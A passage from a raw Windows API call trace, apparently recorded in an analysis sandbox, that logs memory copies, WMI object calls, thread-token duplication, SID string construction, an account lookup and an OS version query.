pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.631] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.631] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.631] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.631] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.631] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.631] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.631] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.632] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.632] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.632] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.632] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.632] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.632] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.633] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.633] SafeArrayGetElement (in: psa=0x13a770, rgIndices=0xe7cde0, pv=0xe7ce10 | out: pv=0xe7ce10) returned 0x0 [0149.633] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d340, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.633] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d344, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.633] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d348, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.633] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d34c, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.633] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d350, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.634] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d354, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.634] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d358, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.634] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d35c, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.635] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d360, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.635] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d364, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.635] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d368, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.635] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d36c, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.635] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d370, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.635] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d374, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.635] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d378, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.635] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d37c, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.635] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d380, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.635] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d384, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.635] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d388, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.635] memcpy (in: _Dst=0xe7cdd8, _Src=0x13d38c, _Size=0x4 | out: _Dst=0xe7cdd8) returned 0xe7cdd8 [0149.636] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x142420 | out: hHeap=0xc0000) returned 1 [0149.636] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xf6b80 | out: hHeap=0xc0000) returned 1 [0149.640] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0149.640] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2d0 | out: pulNumLanguages=0xe7e2d0) returned 1 [0149.640] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0150.164] SetLastError (dwErrCode=0x0) [0150.164] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0150.164] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0150.164] SetLastError (dwErrCode=0x0) [0150.164] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd940, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0150.164] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0150.164] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0150.164] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0150.164] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0150.164] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0150.166] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0150.166] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0150.166] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0150.166] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0150.167] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0150.167] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0150.167] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0150.168] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0150.168] GetCurrentThread () returned 0xfffffffffffffffe [0150.168] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2d4) returned 1 [0150.168] malloc (_Size=0xd8) returned 0x2b90e0 [0150.168] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0150.169] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0150.169] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0150.169] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0150.169] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0150.169] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0150.169] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0150.169] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0150.169] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0150.169] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0150.170] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0150.170] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0150.170] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0150.170] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0150.170] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0150.170] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0150.170] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0150.170] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0150.170] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0150.171] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0150.171] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0150.171] malloc (_Size=0x18) returned 0x2af280 [0150.171] DuplicateTokenEx (in: hExistingToken=0x2d4, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0xa74600000001, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x234) returned 1 [0150.171] malloc (_Size=0x48) returned 0x2ad6d0 [0150.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x26709a80, dwHighDateTime=0x1d8a92a)) [0150.171] SetEvent (hEvent=0x1f0) returned 1 [0150.173] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0150.173] GetLastError () returned 0x7a [0150.173] malloc (_Size=0x2c) returned 0x2b8b10 [0150.173] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0150.173] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0150.173] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0150.173] malloc (_Size=0x1c) returned 0x2b8650 [0150.173] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8650, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8650*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0150.173] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0150.173] malloc (_Size=0x18) returned 0x2af280 [0150.173] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0150.173] malloc (_Size=0x18) returned 0x2af260 [0150.173] malloc (_Size=0x18) returned 0x2af240 [0150.173] SysStringLen (param_1="S-1-") returned 0x4 [0150.173] SysStringLen (param_1="5") returned 0x1 [0150.173] memcpy (in: _Dst=0x142518, _Src=0x161918, _Size=0xa | out: _Dst=0x142518) returned 0x142518 [0150.173] memcpy (in: _Dst=0x142520, _Src=0x142398, _Size=0x4 | out: _Dst=0x142520) returned 0x142520 [0150.173] free (_Block=0x2af280) [0150.174] free (_Block=0x2af260) [0150.174] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0150.174] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0150.174] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0150.174] malloc (_Size=0x18) returned 0x2af260 [0150.174] malloc (_Size=0x18) returned 0x2af280 [0150.174] SysStringLen (param_1="S-1-5") returned 0x5 [0150.174] SysStringLen (param_1="-") returned 0x1 [0150.174] memcpy (in: _Dst=0x142398, _Src=0x142518, _Size=0xc | out: _Dst=0x142398) returned 0x142398 [0150.174] memcpy (in: _Dst=0x1423a2, _Src=0x161918, _Size=0x4 | out: _Dst=0x1423a2) returned 0x1423a2 [0150.174] free (_Block=0x2af240) [0150.174] free (_Block=0x2af260) [0150.174] malloc (_Size=0x18) returned 0x2af260 [0150.174] malloc (_Size=0x18) returned 0x2af240 [0150.174] SysStringLen (param_1="S-1-5-") returned 0x6 [0150.174] SysStringLen (param_1="21") returned 0x2 [0150.174] memcpy (in: _Dst=0x161918, _Src=0x142398, _Size=0xe | out: _Dst=0x161918) returned 0x161918 [0150.174] memcpy (in: _Dst=0x161924, _Src=0x142518, _Size=0x6 | out: _Dst=0x161924) returned 0x161924 [0150.174] free (_Block=0x2af280) [0150.174] free (_Block=0x2af260) [0150.174] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0150.174] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0150.174] malloc (_Size=0x18) returned 0x2af260 [0150.174] malloc (_Size=0x18) returned 0x2af280 [0150.174] SysStringLen (param_1="S-1-5-21") returned 0x8 [0150.174] SysStringLen (param_1="-") returned 0x1 [0150.174] memcpy (in: _Dst=0x142518, _Src=0x161918, _Size=0x12 | out: _Dst=0x142518) returned 0x142518 [0150.174] memcpy (in: _Dst=0x142528, _Src=0x142398, _Size=0x4 | out: _Dst=0x142528) returned 0x142528 [0150.174] free (_Block=0x2af240) [0150.174] free (_Block=0x2af260) [0150.175] malloc (_Size=0x18) returned 0x2af260 [0150.175] malloc (_Size=0x18) returned 0x2af240 [0150.175] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0150.175] SysStringLen (param_1="4219442223") returned 0xa [0150.175] memcpy (in: _Dst=0x118088, _Src=0x142518, _Size=0x14 | out: _Dst=0x118088) returned 0x118088 [0150.175] memcpy (in: _Dst=0x11809a, _Src=0x161918, _Size=0x16 | out: _Dst=0x11809a) returned 0x11809a [0150.175] free (_Block=0x2af280) [0150.175] free (_Block=0x2af260) [0150.175] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0150.175] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0150.175] malloc (_Size=0x18) returned 0x2af260 [0150.175] malloc (_Size=0x18) returned 0x2af280 [0150.175] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0150.175] SysStringLen (param_1="-") returned 0x1 [0150.175] memcpy (in: _Dst=0x118128, _Src=0x118088, _Size=0x28 | out: _Dst=0x118128) returned 0x118128 [0150.175] memcpy (in: _Dst=0x11814e, _Src=0x142518, _Size=0x4 | out: _Dst=0x11814e) returned 0x11814e [0150.175] free (_Block=0x2af240) [0150.175] free (_Block=0x2af260) [0150.175] malloc (_Size=0x18) returned 0x2af260 [0150.175] malloc (_Size=0x18) returned 0x2af240 [0150.175] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0150.175] SysStringLen (param_1="4223814209") returned 0xa [0150.175] memcpy (in: _Dst=0x12dc48, _Src=0x118128, _Size=0x2a | out: _Dst=0x12dc48) returned 0x12dc48 [0150.175] memcpy (in: _Dst=0x12dc70, _Src=0x142518, _Size=0x16 | out: _Dst=0x12dc70) returned 0x12dc70 [0150.175] free (_Block=0x2af280) [0150.175] free (_Block=0x2af260) [0150.175] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0150.175] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0150.175] malloc (_Size=0x18) returned 0x2af260 [0150.176] malloc (_Size=0x18) returned 0x2af280 [0150.176] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0150.176] SysStringLen (param_1="-") returned 0x1 [0150.176] memcpy (in: _Dst=0x12da28, _Src=0x12dc48, _Size=0x3e | out: _Dst=0x12da28) returned 0x12da28 [0150.176] memcpy (in: _Dst=0x12da64, _Src=0x142518, _Size=0x4 | out: _Dst=0x12da64) returned 0x12da64 [0150.176] free (_Block=0x2af240) [0150.176] free (_Block=0x2af260) [0150.176] malloc (_Size=0x18) returned 0x2af260 [0150.176] malloc (_Size=0x18) returned 0x2af240 [0150.176] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0150.176] SysStringLen (param_1="3835049652") returned 0xa [0150.176] memcpy (in: _Dst=0x12dc48, _Src=0x12da28, _Size=0x40 | out: _Dst=0x12dc48) returned 0x12dc48 [0150.176] memcpy (in: _Dst=0x12dc86, _Src=0x142518, _Size=0x16 | out: _Dst=0x12dc86) returned 0x12dc86 [0150.176] free (_Block=0x2af280) [0150.176] free (_Block=0x2af260) [0150.176] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0150.176] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0150.176] malloc (_Size=0x18) returned 0x2af260 [0150.176] malloc (_Size=0x18) returned 0x2af280 [0150.176] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0150.176] SysStringLen (param_1="-") returned 0x1 [0150.176] memcpy (in: _Dst=0x12da28, _Src=0x12dc48, _Size=0x54 | out: _Dst=0x12da28) returned 0x12da28 [0150.176] memcpy (in: _Dst=0x12da7a, _Src=0x142518, _Size=0x4 | out: _Dst=0x12da7a) returned 0x12da7a [0150.176] free (_Block=0x2af240) [0150.176] free (_Block=0x2af260) [0150.176] malloc (_Size=0x18) returned 0x2af260 [0150.176] malloc (_Size=0x18) returned 0x2af240 [0150.176] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0150.176] SysStringLen (param_1="1000") returned 0x4 [0150.176] memcpy (in: _Dst=0x12dc48, _Src=0x12da28, _Size=0x56 | out: _Dst=0x12dc48) returned 0x12dc48 [0150.177] memcpy (in: _Dst=0x12dc9c, _Src=0x142518, _Size=0xa | out: _Dst=0x12dc9c) returned 0x12dc9c [0150.177] free (_Block=0x2af280) [0150.177] free (_Block=0x2af260) [0150.177] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0150.177] malloc (_Size=0x5e) returned 0x2b0ad0 [0150.177] free (_Block=0x2af240) [0150.177] malloc (_Size=0x18) returned 0x2af240 [0150.177] free (_Block=0x2b0ad0) [0150.177] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0150.178] GetLastError () returned 0x7a [0150.178] malloc (_Size=0x14) returned 0x2af260 [0150.178] malloc (_Size=0x16) returned 0x2af280 [0150.178] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af260, cchName=0xe7ca84, ReferencedDomainName=0x2af280, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0150.178] malloc (_Size=0x18) returned 0x2af1a0 [0150.178] malloc (_Size=0x18) returned 0x2af180 [0150.179] free (_Block=0x2af260) [0150.179] free (_Block=0x2af280) [0150.179] free (_Block=0x2b8650) [0150.179] free (_Block=0x2af180) [0150.179] free (_Block=0x2af1a0) [0150.179] free (_Block=0x2af240) [0150.179] free (_Block=0x2b8b10) [0150.179] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7fe, dwMinorVersion=0x1bcd60, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0150.179] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0150.179] GetLastError () returned 0x7a [0150.180] malloc (_Size=0x2c) returned 0x2b8b50 [0150.180] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0150.180] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0150.180] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0150.180] malloc (_Size=0x1c) returned 0x2b8650 [0150.180] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8650, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8650*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0150.180] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0150.180] malloc (_Size=0x18) returned 0x2af240 [0150.180] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0150.180] malloc (_Size=0x18) returned 0x2af1a0 [0150.180] malloc (_Size=0x18) returned 0x2af180 [0150.180] SysStringLen (param_1="S-1-") returned 0x4 [0150.180] SysStringLen (param_1="5") returned 0x1 [0150.180] memcpy (in: _Dst=0x161918, _Src=0x142398, _Size=0xa | out: _Dst=0x161918) returned 0x161918 [0150.180] memcpy (in: _Dst=0x161920, _Src=0x142518, _Size=0x4 | out: _Dst=0x161920) returned 0x161920 [0150.180] free (_Block=0x2af240) [0150.180] free (_Block=0x2af1a0) [0150.180] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0150.180] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0150.180] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0150.180] malloc (_Size=0x18) returned 0x2af1a0 [0150.180] malloc (_Size=0x18) returned 0x2af240 [0150.180] SysStringLen (param_1="S-1-5") returned 0x5 [0150.180] SysStringLen (param_1="-") returned 0x1 [0150.180] memcpy (in: _Dst=0x142518, _Src=0x161918, _Size=0xc | out: _Dst=0x142518) returned 0x142518 [0150.180] memcpy (in: _Dst=0x142522, _Src=0x142398, _Size=0x4 | out: _Dst=0x142522) 